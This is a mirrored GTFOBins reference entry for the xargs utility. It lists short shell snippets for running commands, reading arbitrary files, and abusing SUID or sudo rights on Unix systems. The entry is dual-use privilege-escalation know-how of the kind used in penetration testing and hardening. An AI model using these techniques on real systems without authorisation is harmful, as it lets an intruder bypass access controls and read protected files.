1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-13 19:01:33 +01:00
GTFOBins.github.io/_gtfobins/xargs.md
2018-07-16 15:01:50 +02:00

15 lines
479 B
Markdown

---
functions:
execute-non-interactive:
- code: xargs -a /dev/null /usr/bin/id
file-read:
- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
code: |
LFILE=file_to_read
xargs -a "$LFILE" -0
suid-enabled:
- code: ./xargs -a /dev/null /usr/bin/id
sudo-enabled:
- code: sudo xargs -a /dev/null /usr/bin/id
---